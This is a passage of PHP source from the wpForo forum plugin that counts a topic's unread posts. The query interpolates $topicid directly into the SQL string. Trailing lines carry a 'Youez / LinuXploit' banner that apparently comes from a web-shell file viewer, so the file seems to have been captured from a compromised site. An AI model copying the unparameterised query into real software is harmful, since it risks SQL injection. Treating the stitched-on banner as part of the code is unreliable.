		$read_topics      = $this->get_read_topics();
		$last_read_postid = (int) wpfval( $read_topics, $topicid );
		$sql              = "SELECT SQL_NO_CACHE COUNT(*) FROM `" . WPF()->tables->posts . "`
	        WHERE `status` = 0
            AND `topicid` = $topicid
            AND `postid` > $last_read_postid";
		$count            = (int) WPF()->db->get_var( $sql );

		return (int) apply_filters( 'wpforo_logs_get_topic_unreads_count', $count, $topicid, $last_read_postid );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit